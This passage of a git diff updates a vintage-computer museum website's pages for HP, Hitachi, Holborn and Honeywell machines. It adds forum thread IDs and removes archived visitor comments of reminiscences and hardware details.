Mulder (Brasil) - date: Wednesday 7th December 2011 - text: This was the first computer I worked with... in 1982! AND I wrote my first basic programs (calculations) for it! - - author: Jan Pieter Mulder (Brasil) - date: Wednesday 7th December 2011 - text: This was the first computer I worked with... in 1982! AND I wrote my first basic programs (calculations) for it! - - author: Dale Zimmerman - date: Tuesday 5th April 2011 - text: My high school got an HP-9825B when it first came out. My mom used one of it in a computer class the very same year (taught by a man that would later be my math teacher). 30 years later, the computer is still there, and functioning. I know because I used it! The magnetic tape reader and printer are both what would generally be considered irrepairable. However, the plotter and punch card reader both still work just fine! - - author: Isleif (Bayamón Puerto Rico) - date: Tuesday 8th June 2010 - text: |- - The HP9825 has a feature that HP called Live Keyboard on which one could do calculations or check the contents of the variables in programme whilst it is running.\ - It has a 16 bit proprietary hybrid processor and for it''s day was a very fast machine. related: - /museum/hewlett-packard-hp-9810 - /museum/hewlett-packard-hp-9816 diff --git a/content/museum/hewlett-packard-hp-9826.md b/content/museum/hewlett-packard-hp-9826.md index eebeee1b..640945e1 100644 --- a/content/museum/hewlett-packard-hp-9826.md +++ b/content/museum/hewlett-packard-hp-9826.md @@ -64,6 +64,7 @@ params: - photos - adverts - links + forum_thread: 1041 photos: - title: 'SYSTEM #1' subtitle: '' @@ -89,20 +90,6 @@ params: - title: Joe Rigdon pages url: http://www.classiccmp.org/hp/9800.htm text: More information about HP 98xx series - comments: - - author: Jon Leech (USA) - date: Monday 29th July 2019 - text: They were 68000, or possibly 68010, not 6800. I was in the same classes as David BTW - long time no see! Nice little machines, for the time. - - author: David Levine (USA) - date: Wednesday 26th August 2009 - text: |- - The HP-9826 was a screamingly fast and powerful machine for its time. It was much better than the IBM PC with twice the clock speed and a 16 bit bus, an external hard drive, a digitizing tablet, and 2 MB of RAM. That entire package I''m sure cost over $10000. - - I used one in Jim Blinn''s CS286 computer graphics course at Caltech with an external 16 color monitor (Barco) for rendering. The programming language was Pascal. - - We called them "chipmunks". I thought that was just a cute nickname but I recently read that was the internal HP codename for the machine. - - I spent hundreds of hours cooped up in a room with them completing a program that was used to design integrated circuits. related: - /museum/hewlett-packard-hp-9810 - /museum/hewlett-packard-hp-9816 diff --git a/content/museum/hewlett-packard-hp-9830.md b/content/museum/hewlett-packard-hp-9830.md index cfdcf1c3..bdf035f5 100644 --- a/content/museum/hewlett-packard-hp-9830.md +++ b/content/museum/hewlett-packard-hp-9830.md @@ -64,6 +64,7 @@ params: - photos - adverts - links + forum_thread: 926 photos: - title: TOP VIEW subtitle: '' @@ -96,37 +97,6 @@ params: - title: The Old Calculators Web museum url: http://www.oldcalculatormuseum.com/hp9830a.html text: Complete page about the HP-9830 - comments: - - author: Jalaluddin Morris (PJ, Selangor, Malaysia) - date: Tuesday 11th January 2011 - text: |- - I worked at the Bureau of Ag. Economics, Canberra and an HP salesman tried to sell us one but unfortunately we never did. He told me that a Brisbane accountant bought one and programmed some accounting work on it, then there was the 1974 flood and his beloved computer was buried under about 20 feet of mud and water. He rang up the salesman and the two of them took it to the accountant''s home, opened it up, flushed out the mud with the garden hose, dried it with the account''s wife''s hair dryer, put it back together and it worked perfectly. - - He also told me that some of the calculations to get Apollo13 back safely were done on a 9830 series, but since Apollo 13 began 1970/4/11 and the 9830 came out December 1972 I assume this must have been a NASA "special" prototype. - - author: Glenn Boswell (USA) - date: Sunday 24th April 2016 - text: My first paid programming job was on a HP9830B with 15k memory and 5MB removable HD platter. I talked the boss to buy this over an IBM 5100 with cartridge tapes only. It was fun with only 36/72 character visual display. Loved it then moved to a Service Bureau with IBM 360 20/50s and RPGII .. :-( Been a fun ride and as I write this on a MBP 16GB 1TB I''m glad I started on a HP9830B :-) - - author: Alvin Ginsburg (United States) - date: Friday 4th September 2015 - text: I bought one of these at IBM in order to get funding for the IBM 5100. The management didn''t believe you could actually put a computer on a disk, and lo and behold, without a raised floor. So, I bought the HP 9830, a Wang 2200 and an MCM/70. When Dave Slattery a vice president of development told me you couldn''t put a Basic compiler into less than 128k I wheeled one of these machines into his office. I got the funding, a story for another day about politics and bureaucracy. - - author: BOB - date: Thursday 6th January 2011 - text: I want this for Christmas!!!(2011) please with a f\*\*\*''n cherry on top! - - author: Jim D. - date: Monday 13rd December 2010 - text: |- - I used this in high school in 1978 or 1979. It was in the dean''s office and was not available for use by the general student population. I felt so special to be able to program it to do silly things like print banners on the thermal printer 9866. - - One thing I''m wondering: it had a hard drive next to it which was about 3''x3''x3'' and creaked and groaned whenever it was accessed. Supposedly it had a capacity of 5MB! Anyone know what it might have been? - - author: Kit Richer (Australia) - date: Sunday 19th September 2010 - text: I first ran across this wonderful unit in 1972 when a group of us engineers tried to get one purchased to replace our only Oliveti Programmer 101. We wern''t allowed access to the mainframe as it was a "Finance" machine not to be contaminated by engineers. We did some great experimentation including using an IBM typwriter to get letter quality output but never bought one for our division (quoted price 5000AUD base unit) but another division bought a few that they kept using until at least early 90s. - - author: R.T.Dickinson (UK) - date: Sunday 28th August 2005 - text: From around 1975 to 1985 the British company I worked for provided online geological and data monitoring services on ofshore oil rigs using initially HP9821's but moving to HP9830's. Two 9830's were used in each offshore laboratory. One for real time data acquistion and display of of drilling and engineering parameters and the other for running geological and engineering programs offline. - - author: E.S. Prins (Canada) - date: Monday 7th March 2005 - text: 'HP-9830: I used this computer in college in 1977-8, and on my first job. I ended up buying one when my company switched to an IBM System/34, a predecessor to the AS/400 (now iSeries), and still have it, though I haven''t fired it up for 10 years or so. I remember that the 32-character screen scrolled up to 80 characters of text, and that it could be hooked up to a plotter. At one point, I wrote programs that sorted sales data requiring 8 tapes to be inserted one after another, then 7 tapes, then 6, until all data was sorted. I remember creating a program in 1982 that let me type in running race results, and then print out lists sorted by time, within various age groups. It had an incredibly high-quality keyboard. I remember that the quickest was to store and access programs or files on tape was to create little ''dummy'' files inbetween during the cassette tape formatting.' related: - /museum/hewlett-packard-hp-9810 - /museum/hewlett-packard-hp-9816 diff --git a/content/museum/hewlett-packard-hp-9836.md b/content/museum/hewlett-packard-hp-9836.md index 5500cffa..3e1e9732 100644 --- a/content/museum/hewlett-packard-hp-9836.md +++ b/content/museum/hewlett-packard-hp-9836.md @@ -58,6 +58,7 @@ params: value: Unknown tabs: - links + forum_thread: 153 links: - title: HP Museum url: http://www.hpmuseum.net @@ -65,85 +66,6 @@ params: - title: Joe Rigdon pages url: http://www.classiccmp.org/hp/9800.htm text: More information about HP 98xx series - comments: - - author: Allan Ayres (Canada) - date: Wednesday 28th September 2022 - text: I have a HP-9836A (Motorola 68000 based)! I can boot it into HPL or a custom oil and gas reservoir analysis application. The entire staff that used this system was laid-off, and by the time I acquired this system a few months later, all of the documention and software had been discarded (other than the two floppy disks in the drives). - - author: Tony (N.Z.) - date: Saturday 18th December 2021 - text: We used these machines for oil-related exploration/navigation/construction etc and the big screen and wheel were a huge improvement on earlier models. They were very reliable, especially considering the very salty environment and the frequent (sometimes rough) transfers between tugboats and rigs etc. I still have some s/w on big floppy disks which astound the youngsters at work ! - - author: Roger (United States) - date: Monday 12th March 2018 - text: I worked for HP from June 1973 until August 2001 when I was laid off. I used to use these computers to program the HP 5046 Digital IC Tester. I remember one version of these has only a single line of red LEDs for the display. Had to scroll through the program code to view. I also used the Series 300 to control the HP 4062B and HP4062UX Semiconductor Test. Ahh, the good old days. I really learned a lot and enjoyed using these. - - author: sbez (uk) - date: Monday 12th March 2018 - text: Yeah Sattellites, back in the daze haze popping up on cinema,tb,radio ''ads'', round around ''in store read''drags, bin o hex vo riga planar TV norweigan woods ,Donald Sutherland, Sattellite dash cash bit rash ghost ship mash ''Mir ship off''philedlphia pascal release of b.c ano dom whirly gig book kit brot puppet show rep E tar jolly jack flap flash ''all back...not tjat''Flash posier''killed all of yerzz,owned,law az..''acts beg get ''un e form''act of ''book it on''must starred tea cheer gas,o yeah that folen yell ''peez an freee dem'' authority piz puzzle polly pot read bell,ye? - - author: Luigi Verri (Milano, Italy) - date: Friday 26th May 2017 - text: |- - HP9836 was my first touch in the 80''s with non-mainframe or mini- computing. I arrived from UNIVAC 1108 and from Digital VAX780, and 9836 was a sort of paradise to program!\ - We did teletraffic modeling and simualtion on that system,and on the big brother 9020, all with the fantastic HP-Basic language...\ - good old time - - author: pc macdonald (usa) - date: Sunday 21st May 2017 - text: Iused the 9816/216, and the 9836 to program custom applications in HPBASIC for my customers who purchased HP vibration measurement products. That language was designed from the ground up to control instruments over the HPIB/GPIB interface that HP invented, and also over other interfaces. The big drawback of this language (which can run as a Windows application nowadays) is the lack of support for STRUCTURES, which can make programming a large, multi channeled system a real pain in the neck. I later ran HP VISTA,HP SINE, and SDRC software on the Series 300 systems under HPUX to make multi channel input/output vibration measurements on the HP3565S hardware. We are talking about testing satelites or aircraft with four to six input shakers, and hundreds of simultaneous acceleration response channels. - - author: Roger (USA) - date: Tuesday 15th November 2016 - text: I used these in the early 80s while working at HP Santa Clara Division to program the HP 5046B/5045A Digital IC Tester. Those were the fun, good old days. - - author: Michael (USA) - date: Friday 26th August 2016 - text: |- - We had one of these 9836A''s in our computer office outside of the mainframe room when I served in the Air Force in the early ''80''s. - - It was used for the Expanded Minuteman Data Analysis system. We had a printer and a plotter for it too. This was very sophisticated stuff back then. - - author: Pete Lancashire (United States) - date: Tuesday 22nd March 2016 - text: |- - Last week I found a 9836 (With a tag Upgraded to 9836CU) w/o a display - - There are two stickers on the unit "1 MB Board Internal set as 1st card" and "NO BATT / Does not start / Boot ?" - - S/N 2250A01010 - - Does anyone have the specs for the display and connector pinout ? - - author: Ted (usa) - date: Tuesday 15th September 2015 - text: |- - Ted (USA) - - I still have 2 working HP\ - 9836C computers and one non-working HP 9836C computers, numerous connecting cables of various lengths,, (2) 7475A plotters,operator manuals, HP basic coding manuals, 2 HP 9153B disk drives .Anyone interested please contact me tpf@knology.net or tel 727 791 6930 - - author: Ted (USA) - date: Saturday 29th September 2012 - text: |- - I have 2 working HP\ - 9836C computers and one non-working HP 9836C computers, numerous connecting cables of various lengths,, (2) 7475A plotters,operator manuals, HP basic coding manuals, 2 HP 9153B disk drives .Anyone interested please contact me tpf@knology.net or tel 727 791 6930 - - author: zahed (uae) - date: Thursday 19th May 2011 - text: |- - im looking for 9836 computer any one have it, for sale should be in good condition, should be working probability, both drives should be funcation.\ - thank\ - plz send me the price as soon as possbile\ - best regards\ - zahed - - author: Frank Burgum (U.K.) - date: Tuesday 28th October 2008 - text: My lab bought an HP9836 in about 1982, together with a pen-plotter, a line printer, and a 15MB hard disk, all connected by HP-IB. The 9836 by itself was about UK£10,000, and the 15MB hard disk box about UK£2,500. Its principal use was to prepare colour acetate slides for presentations, although we also used it to control instrumentation for some of our work. Using the scroll wheel instead of a mouse (turning the wheel moved the cursor left and right, holding SHIFT down made the cursor move up and down) we became quite adept at making line drawings. - - author: Shawn Riley (Earth) - date: Tuesday 19th December 2006 - text: The basic requirement for my department's 1983 generation of new test consoles was that it be realtime for microsecond timetagging of hundreds of events, and distributed to as many as 3 secondary "satellite" subprocessors. The customer directed us to buy HP9836C, later CU, for the operator station, communicating to same-family 9920 rackmount computers, all via Pascal code over HPIB. Today, December 2006, many of these systems are still operating although many have been replaced by pentium 133 MHz based UNIX boxes. This was pre-DOS, pre-ethernet, and it was designed to operate for at least 20 years at a high level of reliability. At that time only HP even understood what reliability calculations meant. The notion of a hard drive being another node on the HPIB bus , as well as a printer, makes todays viewers laugh, but it did work. You can make almost anything work given enough time and money. Reagan had plenty. - - author: Ed Olsen (Earth) - date: Tuesday 19th December 2006 - text: I still use (November 2005) a HP-9836 on a HP 3060 Board Test Station with 9133 and 9121 drives, the OS we have on it is HPL with BTL extensions. The 9836 was a replacement for a HP9825. - - author: Erik Metzger (Silicon Valley) - date: Wednesday 11th August 2004 - text: |- - Does anyone have a manual for the 9836 which specifically references the computer's keyboard? - - Any advice or leads would be greatly appreciated! - - Thanks,\ - Erik related: - /museum/hewlett-packard-hp-9810 - /museum/hewlett-packard-hp-9816 diff --git a/content/museum/hewlett-packard-integral-pc.md b/content/museum/hewlett-packard-integral-pc.md index 991da228..eb725bdc 100644 --- a/content/museum/hewlett-packard-integral-pc.md +++ b/content/museum/hewlett-packard-integral-pc.md @@ -48,10 +48,7 @@ params: value: 1 x 3.5'' disk-drive - label: OS value: HP-UX - comments: - - author: Jamel Tayeb (United States) - date: Tuesday 28th March 2023 - text: 'The IPC is remarkable! I was gifted an early prototype and have spent some time to restore it. You can find details and HP pics at these addresses: https://jameltayeb.com/2015/12/31/hp-207-part-1-presentations/ https://jameltayeb.com/2015/12/31/hp-207-part-2-breakout-the-hazmat-suit-2/ https://jameltayeb.com/2015/12/31/hp-207-part-3-a-historically-significant-piece-2/ Enjoy!' + forum_thread: 157 oc_id: 145 source: url: https://web.archive.org/web/20230324070919/http://www.old-computers.com/museum/computer.asp?c=145 diff --git a/content/museum/hino-electronics-cefucom-21-multipurpose-slap-computer.md b/content/museum/hino-electronics-cefucom-21-multipurpose-slap-computer.md index 1e3101e8..30d66d0f 100644 --- a/content/museum/hino-electronics-cefucom-21-multipurpose-slap-computer.md +++ b/content/museum/hino-electronics-cefucom-21-multipurpose-slap-computer.md @@ -61,6 +61,7 @@ params: tabs: - photos - links + forum_thread: 1285 photos: - title: THE CEFUCOM 21 subtitle: '' diff --git a/content/museum/hitachi-ah-200.md b/content/museum/hitachi-ah-200.md index 447472e5..4be8d4d2 100644 --- a/content/museum/hitachi-ah-200.md +++ b/content/museum/hitachi-ah-200.md @@ -70,6 +70,7 @@ params: - hardware - emulators - links + forum_thread: 769 hardware: - title: NATIONAL CF-2131 subtitle: 16 KB RAM expansion @@ -206,13 +207,6 @@ params: - title: Web Wiz CAPTCHA url: http://www.webwizcaptcha.com text: The MSX home computer system - comments: - - author: Roger Jowett (Ulster Londonderry) - date: Saturday 6th April 2013 - text: |- - http://www.youtube.com/watch?v$zsjTpFR0oYQ - - please help we have zx spectrum 48k and one 128k program running at 6mhz using external ram and snapper discs from velesoft site related: - /museum/canon-v-10 - /museum/canon-v-20 diff --git a/content/museum/hitachi-b16-ex.md b/content/museum/hitachi-b16-ex.md index deab93c7..d4cf1004 100644 --- a/content/museum/hitachi-b16-ex.md +++ b/content/museum/hitachi-b16-ex.md @@ -60,29 +60,7 @@ params: value: Built-in power supply - label: PRICE value: Unknown - comments: - - author: Xardfir - date: Friday 13rd January 2012 - text: |- - According to Vintropedia Collector Handbook 2009 specifications are an 8086 CPU, 128k of ram and an 8 colour screen.\ - http://books.google.com.au/books?id$D7RS9yegrtoC$lpg$PA34$ots$UF9MCD_qGH$dq$hitachi$20B16$20computer$pg$PA34$v$onepage$q$hitachi$20B16$20computer$f$false - - More information about the B16/B32 series can also be found here: http://www.duensser.com/pc_famb16.htm - - It appears to be a Japanese PC clone with special graphics additions to display Kanji Text properly and was expanded to use 286, then 386 processors in the B32 varient. A photo from 1990 is included in the above website. - - The 286 version had the following specs:\ - Intel 80286\ - HDD 20MB\ - FDD 3.5Inc 1.44MB\ - 640X400 monochrome LCD - - The MESS emulator includes specific code to emulate parts of the B16 hardware which can display up to 4096 colours ins some modes. - - The B16 EX was also used for computer arts. Some examples of artwork produced by this machine can be found here:\ - http://www.cgh.ed.jp/cgac/1989/index.html - - Another picture at http://incore.kr/pics/system/200824-0693.png shows a B16 EX III Plus. + forum_thread: 386 oc_id: 387 source: url: https://web.archive.org/web/20230607220748/http://www.old-computers.com/museum/computer.asp?c=387 diff --git a/content/museum/hitachi-h1-h1e.md b/content/museum/hitachi-h1-h1e.md index 54b65489..59f16ff1 100644 --- a/content/museum/hitachi-h1-h1e.md +++ b/content/museum/hitachi-h1-h1e.md @@ -73,6 +73,7 @@ params: - hardware - emulators - links + forum_thread: 422 photos: - title: ANOTHER PICTURE IN BLACK & WHITE subtitle: '' diff --git a/content/museum/hitachi-h2.md b/content/museum/hitachi-h2.md index c14b6f2c..6c3d7222 100644 --- a/content/museum/hitachi-h2.md +++ b/content/museum/hitachi-h2.md @@ -74,6 +74,7 @@ params: - software - emulators - links + forum_thread: 571 photos: - title: TAPE RECORDER subtitle: '' @@ -224,18 +225,6 @@ params: - title: Web Wiz CAPTCHA url: http://www.webwizcaptcha.com text: The MSX home computer system - comments: - - author: Karma - date: Friday 9th June 2017 - text: |- - There is a lot more info about this system here:\ - https://www.msx.org/wiki/Hitachi_MB-H2 - - author: Roger Jowett (Ulster Londonderry) - date: Saturday 6th April 2013 - text: |- - http://www.youtube.com/watch?v$zsjTpFR0oYQ - - please help we have zx spectrum 48k and one 128k program running at 6mhz using external ram and snapper discs from velesoft site related: - /museum/canon-v-10 - /museum/canon-v-20 diff --git a/content/museum/hitachi-mb-16000.md b/content/museum/hitachi-mb-16000.md index 87f581e0..d38b03fa 100644 --- a/content/museum/hitachi-mb-16000.md +++ b/content/museum/hitachi-mb-16000.md @@ -62,14 +62,7 @@ params: value: 5 expansion slots, 8'' floppy drives, 10 MB hard disc - label: PRICE value: £1695 (U.K., 1984) - comments: - - author: Albert (france) - date: Monday 27th December 2004 - text: |- - The 5.25'' drives were only 320kb not 360kb as usual on PC.\ - It had a "reset" key directly on the keyboard, you can see it on the\ - picture as the "F11" key, it looks bigger than others because it was\ - surrounded by plastic to prevent miss typing. + forum_thread: 150 oc_id: 138 source: url: https://web.archive.org/web/20230415205058/http://www.old-computers.com/museum/computer.asp?c=138 diff --git a/content/museum/hitachi-mb-6880-basic-master-and-basic-master-level-2.md b/content/museum/hitachi-mb-6880-basic-master-and-basic-master-level-2.md index f41e08b5..fb249e51 100644 --- a/content/museum/hitachi-mb-6880-basic-master-and-basic-master-level-2.md +++ b/content/museum/hitachi-mb-6880-basic-master-and-basic-master-level-2.md @@ -61,6 +61,7 @@ params: tabs: - photos - links + forum_thread: 30 photos: - title: THE BASIC MASTER LEVEL 2 subtitle: '' @@ -81,19 +82,6 @@ params: - title: Electric Brain Museum url: http://www.tk.airnet.ne.jp/mit/mitland/Musium/HITACHI/BMaster.html text: Some useful infos here (Japanese) - comments: - - author: Hisayuki Nomura (Japan) - date: Thursday 10th December 2020 - text: (I''ll write this as a message because "Add Info" does not work) MB6880 , formal name was "Basic Master" but it called as "Basic Master Level 1" after MB-6880L2 , "Basic Master Level 2" was released. Basic Master Level 1 was shipped with 4KB RAM with Level 1 BASIC language that only integer value supported. Basic Master Level 2 was shipped with 8KB RAM with Level 2 BASIC that support floating value. These product line made great success at the beginning of Japanese microcomputer market. By the success of BasicMaster , the three company - Hitachi , NEC and Sharp - was called "The Big Three". Hitachi continued to release variation of Basic Master Level2 series such as MB6881(Basic Master Level II 2) , MB6885 (Basic Master Jr) . However "Basic Master Level 2" series was lack of Hi-resolution graphics or Kanji characters. Hitachi''s microcomputer continue declined until Basic Master Level 3 released. - - author: Zelda Hyrule - date: Monday 1st June 2009 - text: I love this machine I still own one at this day. But it died yesterday!!!! - - author: Mickey Malone (Finland) - date: Monday 1st June 2009 - text: I owned one of these 17 years ago when I was 40. - - author: Masaru Takechi (Tokyo, Japan) - date: Friday 25th October 2002 - text: Once I was an owner of this computer. I remember that clock speed of this computer is 750KHz. (below MHz, wow.) Double-edged clock mechanism of Motorola's 6800 brought good performance to this computer. Program exectuion speed was close to 2MHz Z80 Machine, such as Sharp's MZ-80K. oc_id: 1 source: url: https://web.archive.org/web/20230327131414/http://www.old-computers.com/museum/computer.asp?c=1 diff --git a/content/museum/hitachi-mb-6885-basic-master-jr.md b/content/museum/hitachi-mb-6885-basic-master-jr.md index 03029811..3d87d864 100644 --- a/content/museum/hitachi-mb-6885-basic-master-jr.md +++ b/content/museum/hitachi-mb-6885-basic-master-jr.md @@ -59,6 +59,7 @@ params: tabs: - photos - adverts + forum_thread: 334 photos: - title: COMPLETE SET-UP subtitle: '' @@ -69,17 +70,6 @@ params: subtitle: '' text: '' image: /media/museum/pubs/bmjr.jpg - comments: - - author: Hisayuki Nomura (Japan) - date: Thursday 10th December 2020 - text: (I''''ll write this as a message because "Add Info" does not work) MB6885 was successor of MB6881 (Basic Master Level II 2) . This machine had 256x192 graphics feature. Color display was also available with optional color-graphics adapter. These new feature was great in "Basic Master Level2 series" but not enough in Japanese market. Hitachi thought the MB-6885 as a hobby computer. But the hobby computer market was a fierce battlefield with NEC (PC-6001) , VIC-1001(Commodore) , JR-100 (Panasonic) and etc. MB-6885 was too weak for that battlefield. - - author: Summy - date: Monday 23rd October 2017 - text: |- - I had this one, so I add some information $\ - Speed : 0.8MHz, VRAM : None(sharing the main memory), I/O ports : Printer port, Cassette MT interface, Expansion bus(mainly used for the color extension box), Power Supply : Build-in PSU\ - As I mentioned, there isn’t a Video RAM, so both the micro processor and the video interface use the main memory using tricky techniques.\ - Its BASIC language is fully compatible with the MB-6880 BASIC Master Level II. In general, it was suitable for beginners. This PC was never a major PC, but it’s my favorite. oc_id: 329 source: url: https://web.archive.org/web/20230501140028/http://www.old-computers.com/museum/computer.asp?c=329 diff --git a/content/museum/hitachi-mb-6890-basic-master-level-3.md b/content/museum/hitachi-mb-6890-basic-master-level-3.md index 6ed737fd..be29a990 100644 --- a/content/museum/hitachi-mb-6890-basic-master-level-3.md +++ b/content/museum/hitachi-mb-6890-basic-master-level-3.md @@ -57,6 +57,7 @@ params: tabs: - photos - links + forum_thread: 31 photos: - title: MB 6890 subtitle: '' @@ -70,16 +71,6 @@ params: - title: Ueda's Page url: http://www.japan-net.ne.jp/~a-ueda/oldcom/ text: Lot of infos and pictures here ! (japanese) - comments: - - author: Michael Schipp (Australia) - date: Sunday 6th June 2021 - text: Memory came in two sizes, 16k and 64k. Our School computer lab was full of these but only 2 had 64k in 1985/86 then replaced with IBM xt clones - - author: Carlos Camacho (United States) - date: Thursday 1st April 2021 - text: '@Rusty, I would be interested in those cards. Do you still have the schematics?' - - author: Rusty (Australia) - date: Thursday 26th May 2016 - text: I designed a number of add-on cards for this computer in my teenage years - two floppy disk controllers, hard disk interface with networking, multifunction card with rtc, two ay-3-8910 psg chips and a spo256 speech chip along with two atari joystick ports and a z80 card to run cp/m. I still have those boards but not the computer. It was a very well made piece of hardware and very reliable - too expensive for me to buy at the time. oc_id: 2 source: url: https://web.archive.org/web/20230413210407/http://www.old-computers.com/museum/computer.asp?c=2 diff --git a/content/museum/hitachi-mb-6891-basic-master-level-3-mark-2.md b/content/museum/hitachi-mb-6891-basic-master-level-3-mark-2.md index b1ec2d29..62f960a7 100644 --- a/content/museum/hitachi-mb-6891-basic-master-level-3-mark-2.md +++ b/content/museum/hitachi-mb-6891-basic-master-level-3-mark-2.md @@ -66,6 +66,7 @@ params: value: Unknown tabs: - photos + forum_thread: 385 photos: - title: HITACHI MB-6891 subtitle: '' diff --git a/content/museum/hitachi-mb-6892-basic-master-level-3-mark-5.md b/content/museum/hitachi-mb-6892-basic-master-level-3-mark-5.md index ca4fc117..7363afec 100644 --- a/content/museum/hitachi-mb-6892-basic-master-level-3-mark-5.md +++ b/content/museum/hitachi-mb-6892-basic-master-level-3-mark-5.md @@ -52,6 +52,7 @@ params: value: 118000 yens tabs: - links + forum_thread: 387 links: - title: J.Kubota Museum url: http://www.toragiku.com/kopa.htm diff --git a/content/museum/hitachi-s1.md b/content/museum/hitachi-s1.md index 869fca13..40575e3d 100644 --- a/content/museum/hitachi-s1.md +++ b/content/museum/hitachi-s1.md @@ -58,6 +58,7 @@ params: value: $1199 (Australia, 1985) tabs: - photos + forum_thread: 345 photos: - title: THE S1-45 subtitle: '' @@ -67,29 +68,6 @@ params: subtitle: '' text: Thanks to David Wilson for this picture image: /media/museum/photos/hitachi_mbs1_price-list.jpg - comments: - - author: Murray (Sydney, Australia) - date: Saturday 18th November 2017 - text: |- - I now have two hitachi MB-6890K computers, I would like to contact anyone who has any more for sale or parts (or an S1).\ - Any info about them and some software would be great as well!\ - Thanks,\ - Murray. - - author: Rusty (Australia) - date: Thursday 26th May 2016 - text: Craig - it probably had my hard disk interface card in it. We didn''t sell many. I reverse engineered the os/9 level 2 card that was needed for os/9. It did the ram memory mapping as well as extra ram. I probably have my sketches somewhere. The S1 was a stunning piece of hardware in its day - it was full of custom ics as compared with the mb6890 which was pretty well all standard ics. - - author: CraigM (Australia) - date: Friday 15th November 2013 - text: |- - Just came accross this old thead. I too had a Hitachi peach and ended up with a S1 as well. They were sold in Australia. Was a great little beast of a box. I ended up purchasing OS9 from Hitachi Japan. The only issue is that out of the box it couldn''t read other 5.25" floppy disks from other OS9 systems. My brother who was a Flex/OS9 freak ended up re-writing some of the device drivers so I could read/write disks off his various systems. Was way ahead of it''s time imho. Ended up selling it for a pitance in the end :( - - craig - - author: Roger D (California) - date: Tuesday 23rd November 2010 - text: My family had one of these, growing up in Australia in the 1980''s. In fact, it''s still there and as far as I know still works! - - author: Leon Howell (Oregon, USA) - date: Tuesday 1st February 2005 - text: Could this be another OS-9 system, like the Fujitsu's? oc_id: 341 source: url: https://web.archive.org/web/20221205112156/http://www.old-computers.com/museum/computer.asp?c=341 diff --git a/content/museum/hobbit.md b/content/museum/hobbit.md index 1f7eca6e..91e33036 100644 --- a/content/museum/hobbit.md +++ b/content/museum/hobbit.md @@ -58,6 +58,7 @@ params: value: Up to 4 5.25'' FDD, tape recorder, printer, joystick, lightpen, mouse, HDD with special patch, later version came with built in 3,5'' FDD - label: PRICE value: About $170 equivalent + forum_thread: 931 oc_id: 955 source: url: https://web.archive.org/web/20230324124846/http://www.old-computers.com/museum/computer.asp?c=955 diff --git a/content/museum/holborn-9100.md b/content/museum/holborn-9100.md index df6704cf..a08e2281 100644 --- a/content/museum/holborn-9100.md +++ b/content/museum/holborn-9100.md @@ -57,6 +57,7 @@ params: tabs: - adverts - links + forum_thread: 732 adverts: - title: HOMO-COMPUTERUS subtitle: '' @@ -69,24 +70,6 @@ params: - title: Allard's Computer Museum Groningen url: http://www.computermuseumgroningen.nl/holborn/holborn.html text: More detailed info here with good pictures - comments: - - author: Neil macPherson (UK) - date: Saturday 27th February 2021 - text: The info text states that the Holborn 9100 had 64k ram and needed to use bank switching,this is not true because 64k ram is the maximum amount of memory that an 8 bit proccessor can access. - - author: Yan - date: Monday 2nd December 2019 - text: The monitor design looks like something coming out from an early 1970s sci-fi movie. It''s kind of scary for me. - - author: Allard (Groningen The Netherlands) - date: Tuesday 24th January 2006 - text: |- - For more pictures and details see the url - - Greetings, - - Allard - - author: linkman (Slovak republic) - date: Thursday 21st April 2005 - text: heh nice design of monitor oc_id: 749 source: url: https://web.archive.org/web/20230529195224/http://www.old-computers.com/museum/computer.asp?c=749 diff --git a/content/museum/homelab-series-homelab.md b/content/museum/homelab-series-homelab.md index 1d318f3f..25050632 100644 --- a/content/museum/homelab-series-homelab.md +++ b/content/museum/homelab-series-homelab.md @@ -61,6 +61,7 @@ params: - photos - emulators - links + forum_thread: 1065 photos: - title: BRAILAB, LARGE VIEW subtitle: '' @@ -133,14 +134,6 @@ params: - title: Homelab page (in Hungarian) url: http://homelab.8bit.hu/attekintes.html text: '' - comments: - - author: Charlie - date: Thursday 8th May 2008 - text: |- - WoW! That keyboard...\ - ...Just handwiring something like that for a personal project is a tedious nightmare...\ - ...doing it for a mass-produced system...\ - ...I take my hat off to the company that made these. :) oc_id: 1095 source: url: https://web.archive.org/web/20221202035832/http://www.old-computers.com/museum/computer.asp?c=1095 diff --git a/content/museum/honeywell-ddp-516.md b/content/museum/honeywell-ddp-516.md index 88f89259..43a598ac 100644 --- a/content/museum/honeywell-ddp-516.md +++ b/content/museum/honeywell-ddp-516.md @@ -33,6 +33,7 @@ params: - emulators - links - docs + forum_thread: 545 adverts: - title: ADVERT subtitle: '' @@ -112,74 +113,6 @@ params:  source : [www.bitsavers.org](http://www.bitsavers.org) **... READ THE ONLINE VERSION BY CLICKING BELOW :** - comments: - - author: Ledu (France) - date: Friday 20th December 2019 - text: |- - Early 70'', i was working at Eindoven for Philips on a medical project called Medex for Breda hospital using a DDP 516 (my first job).\ - I was adding a disk file management system named ISOS (indexed sequential overflow splitting) to Olert 2 operating system. - - author: maxra (saxony in germany) - date: Thursday 22nd August 2019 - text: |- - "The best toy I ever found in GDR"\ - DDP516 cloned for KRS4200 - - In the early 70ts or late 60ts somebody has carried some boxes with electronics over the iron boarderline ...\ - In the eastern germany, GDR, in german: DDR, the guys of ROBOTRON reengenierd this arpa-net-"router" and build a funny nice toy driven by the operators mostly by a typewriter.\ - ( papertape, drums, magnetic-tape also) - - the best thing was the bootloading process, operated through the binary "console". Not so nice styled like the original, but with stable working buttons, - so if not in cold mornings the buttons were jumping around. But in seconds they were touched back ... - - Very much fun, when the operating girls searching for the buttons around the mt-device and under the drum-section ... - - But back to the facts:\ - KRS4200 has also rewritten opcodes: all the abbreviations stand for german words. So also was developd a "german speaking" BASIC. - - In the middle of the 80 were so many "KRS" devices in the GDR, that a special hardware-emulator device emulating KRS was developed for the GDR - PDP11-derivat A6400 (This was the follower-device past KRS in the planing-economy of the GDR.). The result: my moonlanding game (commandline driven) was 10 times faster then on original KRS. - - Today are only 2 or 3 devices in some museums. One you can find in "technische Sammlungen Dresden". - - The guys of Halle-Computer-museum have some nice old pic of the device:\ - here some with a best looking DDR-folklore-sheet under the console:\ - http://www.robotrontechnik.de/bilder/Grossrechner/R4200/R4200_8_k.jpg - - here is the website with some stuff around KRS4200:\ - http://www.robotrontechnik.de/index.htm?/html/computer/r4200.htm - - author: Fokko de Jong (Netherlands) - date: Saturday 18th June 2016 - text: |- - Pjhilips bought the Honeywell DDP 416 and 516 and later DDP 316 as successors to the PR8000$ a 24 bit serial processor, used for industrial control purposes. The PR 8000 was developed in France Fontenay o Roses at Philips Research France and had an industial interface called UESI (Unité de Entree et Sortie Industrielle). This interface was adopted to work with the PR9200 series for industrial control purposes.\ - Besides industrial control, the P9200 series were used to process data from the Philips non-destructive X-ray material analysis equipment. - - author: Ashley 